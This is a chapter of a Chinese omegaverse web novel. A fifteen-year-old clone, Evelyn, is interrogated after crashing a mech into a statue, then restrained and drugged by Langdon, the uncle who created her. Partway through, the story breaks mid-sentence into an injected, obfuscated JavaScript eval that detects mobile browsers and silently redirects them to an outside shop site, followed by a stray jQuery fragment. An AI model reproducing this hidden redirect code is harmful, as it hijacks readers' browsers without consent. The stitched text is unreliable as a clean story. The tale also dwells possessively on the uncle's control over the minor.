“啪——”
数盏强光灯同时打开,对准屋子正中的女孩。
女孩宿醉方醒,从毛茸茸的黑色卷发里抬起脸,半眯着夜雾漆黑的眼睛。
是位分化不久的女性alpha,还不太会控制被信息素影响的身体,空气中很快弥漫她发散出来的软烂玫瑰的气味。
大法官莱娜皱了皱眉,用鹅毛笔记下这一信息。
“攻击意愿:强,攻击性:尚待观察。”
“这是哪里?”女孩的声音意外软糯,忽略强攻击性的信息素,她的外形无异于柔弱的omega小女孩。
“帝国少年管教所,”莱娜一副公事公办的口吻,“你知不知道自己昨天晚上做了什么?”
女孩双手双脚被捆在椅子上,微垂着脑袋,指甲来回刮擦光滑扶手。
她咬了咬下唇,“我,闯进帝国武器库,开走一架机甲。”
“然后呢,你驾驶机甲做了什么?”
“我……”女孩面色愈来愈痛苦,眉头紧皱,忽然把后脑勺重重砸向坚硬椅背,“我做了什么?我想不起来。”
特制绳索竟被挣松几分。
空气中浓郁的信息素近乎凝结成实质,有丝丝缕缕玫瑰味的水泽顺着砖石垒成的墙壁滑落。
莱娜用喷过镇静药水的毛巾捂住口鼻,不断安慰自己,这时她身为身为社会名流必要的工作,定期到帝国教养所提供志愿服务,对这种犯下大错的青年作出评估,评估他们是否还有社会价值,决定是否剥夺他们的生命。
屋子四角有摄像头,外头有不少训练有素的士兵,确保她不会受到任何伤害。
“伊芙琳,冷静。”她在手册上写下“情绪控制能力:极差,急需心理医生专业评估”等字样,继续问:“我是来帮你的,你昨天晚上,操纵机甲撞毁了纪念广场的凯瑟琳夫人的雕像。”
被叫做伊芙琳的女孩把椅子扶手捏得变形,但她开口时,却声音颤颤,眼中闪动泪光,类似犯错之后不知所措的小孩子。
“我想见爸爸。”
“伊芙琳,现在,听我说,勒斯特帝国是法制的国度,就算你是执政官的女儿,也要接受既定的审判程序。”
莱娜见多了这种问题少年,家里的权势能保护他们的肆意妄为。仅在这个审判室里,她得完成自己的工作,尽管,会让这位大小姐稍微不适应。
她放软了语调:“伊芙琳,执政官大人即将迎娶歌星凯瑟琳,你对这位后妈很不满,所以蓄意撞毁她的雕像。那座雕像是国民的共有财产,价值约三百万星际币,现在依法对你提出追诉。”
伊芙琳用尖叫打断她的话。
她狠狠抓挠椅子,瞳孔变成鲜血一样的红色,信息素形成浓烈席卷的风圈,满头黑卷发狂乱飞舞。
“冷静一些……”
莱娜眼睁睁看着伊芙琳挣脱了半边绳索,大惊失色,连忙按下桌面的紧急按钮。
“滴……滴……”整间屋子充斥着刺耳的鸣笛声,伊芙琳抬眼瞥向声源处,警报机器瞬间炸裂。
屋内安静下来。
伊芙琳单手一甩,椅子撞向墙面四分五裂,扭动手腕站起来。
“你不要冲动,”莱娜逃到门口,疯狂拍门,引以为傲的名流做派全部扔掉,“救命!快来人,救我!”
好在这时审讯室的门打开,卫兵鱼贯而入,手忙脚乱掏出镇静喷雾,往女孩的方位喷去。
烟雾缭绕周身,女孩脸色却未变,睁着空洞赤红的眼睛,欲往门口而来。
“让我见爸爸。”
一卫兵按下冷枪,箭簇破空,直直射入她肩头,她看向自己的肩膀,纯白蕾丝裙显出个血窟窿,不断涌出鲜红的血液。
她摸到了一手血,红眸折射血光,嘴唇也变得鲜红欲滴。她勾起冷艳的笑意,室内再次狂风大作,玫瑰巨浪翻涌着拍向每一个人。
强光灯全被震碎,审讯室内彻底陷入黑暗,卫兵们都感到一股肝胆俱裂的痛楚,七窍流出鲜血。
“伊芙琳。”
清冽似泉水流淌的声音响起,带着净化人心的力量,一位年轻男人自过道进来。
来人穿着白大褂,带来清润白茶的味道,稀释了浓烈到令人窒息的玫瑰味,让几个卫兵如释重负。他在黑暗中穿行无阻,把暴怒的女孩拥进怀里。
“伊芙琳,你太不乖了。”
天花板的灯光亮起,卫兵们看见女孩乖乖呆在男人怀里,安静乖巧闭着眼睛。
强烈的攻击性消失无踪。
女孩的鲜血染红了男人的白大褂,男人面色冷冷淡淡,动作却极尽温柔,狭长的眼睛里只有晕倒的女孩。
一个眼神瞟向众卫兵,众人吓得瑟瑟发抖,膝行向前跪在男人面前,不住磕头。
“兰登博士饶命!我等实在是迫不得已,才打伤了大小姐,博士饶命!”
男人把女孩横抱起来,瞥向桌案,莱娜未写完的报告静静摆在上头。
“报告送到我办公室,我来写。”
“是!”
男人抱着女孩离开。
……
伊芙琳在黄昏醒来,发现自己身处一间办公室,桌案后的陈列柜摆着各种动物标本,各处打扫得一尘不染。
她睡在硬邦邦的皮质沙发上,身上盖着一件浸染白茶香的白大褂。稍动一动就全身剧痛,她发现自己肩上箭伤被包扎过,内衣好好穿着,蕾丝裙变成了长至大腿中部的男款白T恤。
她的皮肤上也有柔润的白茶味道,不太喜欢,也不反感。
兰登倚在窗前,姿态从容放松,正半低头翻看一本书。通身气质像敲打江面的春日烟雨,寂寥清冷。
给她一个不达眼底的微笑,“好久不见,我的伊芙琳宝贝。”
“兰登。”
她直呼他的名字,事实上,他是执政官大人最小的弟弟,也是他的小叔叔,但两人只相差七岁,她最爱孜孜不倦挑战这位小叔叔的权威。
兰登习惯了她的没大没小,把书放在一叠书上面,拍拍封面对她倾情推荐,“去了荒芜星半年,伊芙琳已经分化成alpha了呢。我想你应该看看这些书,来更好地应对身体变化。”
伊芙琳来到桌前,最上面的一本书,就是兰登刚才翻看的那本,赫然写着《性教育百科》。
“我不需要。”
兰登把一张纸条夹在指间递给她——
“伊芙琳,十五岁,症状:分化期攻击性强烈,建议:教养所拘管三个月,报告人:兰登博士。”
兰登和爸爸都继承了赫利家族的讨厌鬼基因,独断专权,从不考虑旁人的想法。他坐进椅子里,沉声宣布对她的判决,“执政官大选在即,哥哥不能出任何差错。你安生些,三个
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14234799|151410||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
月后就能回家。”
“小叔叔,我不想要爸爸和凯瑟琳结婚,”伊芙琳来到桌前,垂着脑袋,双手揉捏纸条,“你能不能,帮帮我?”
“不行。”兰登后仰靠进椅背,抬起那双浅碧色的眼睛冷冷淡淡看着她。
“你知不知道凯瑟琳是谁?远征军里大半人都做过她的入幕之宾,听说执政官要娶她,不知有多少人嘲笑讽刺,我不许他们背地里诋毁爸爸的声誉!”
“你觉得哥哥是傻子?还是你觉得,他是什么不谙世事的毛头小子,才会被骗得团团转?”兰登的眉心浅蹙,“伊芙琳,你不应该管哥哥的婚事,你越界了。”
伊芙琳在心里嘲笑自己的不自量力,兰登可是一条披着温雅外衣的毒蛇,她是傻子才会向他求助!
于是她一拍桌面,双眸隐隐泛起红光,“我今天一定要回家。”
“确定要跟我犟吗?伊芙琳,你以为自己的能力大到足够打败我了吗?”
伊芙琳眼底翻涌起戾色,不再废话,出手如电,掌风凌厉似刀,招招带着致对手于死地的狠辣。玫瑰信息素形成飓风,卷着办公室内的零碎物品全都飞起来。
两人一路从办公桌打到沙发,比起伊芙琳全神贯注咬牙紧绷,兰登显得气定神闲,几个轻巧的动作便化解了她的大招。
他连眼皮也吝啬抬一下,就像在漫不经心逗弄小孩!
最后伊芙琳被按在冰凉的地面上,兰登用膝盖抵住她的脊背,抽出绳子捆住她的双手腕。
“哈,你是进展神速,但要打败我,还要等两年。”
伊芙琳咬着绳子,不忿地呜咽叫唤。
兰登迈着优雅从容的步子推开标本陈列架,里头别有洞天,是一间银色的实验室。
他把捆成粽子的伊芙琳抱到工作台上,四面墙壁显示出她的实时身体数据。
“唔,果然,alpha性激素水平爆表……”具体表现为力量大增,狂躁易怒——一个alpha熊孩子的威力是可怕的。
知道症结所在,兰登着手在药剂台上调配解药。
最近执政官大人对女孩的心理变化感到困扰,并且明示他想办法让伊芙琳对他的依恋回落到正常水平。比起一个迷恋父亲的小女孩,他更需要一把趁手的武器。
伊芙琳挣扎累了,靠着墙壁闭上疲倦的眼睛。兰登看她一眼,往黑乎乎的药剂里加了几泵甜味剂,再滴入几滴红色素染成玫瑰糖的颜色。
这么些年他摸索出来的,最容易让她接受的口味。
兰登把伊芙琳的卷发拨到耳后,露出一张白净的小脸,只有在睡着时才这样乖巧,从出生那天便是如此。
她是克隆人。是他在七岁时捣鼓出来的第一个作品,叛军首领忒弥斯的基因让她天生就拥有超凡武力值。一些小细节,比如雪白的皮肤,乌木一样黑的头发,漆黑深邃的眼睛,则由他根据自己的喜好进行了微调。最重要的是,他为她挑选了玫瑰味的信息素,他喜欢玫瑰的味道。
现在看来,这个作品简直错漏百出,表现为大病小病不断,需要不断修复bug。
兰登摇着玫瑰红的药剂,冰凉的手抚向女孩柔韧年轻的脸庞。他是她的创作者,她真正的父母,她的上帝。
她拥有人类的一切劣根性,贪嗔痴爱憎欲,不是一个合格的克隆人。
却是他最满意的作品。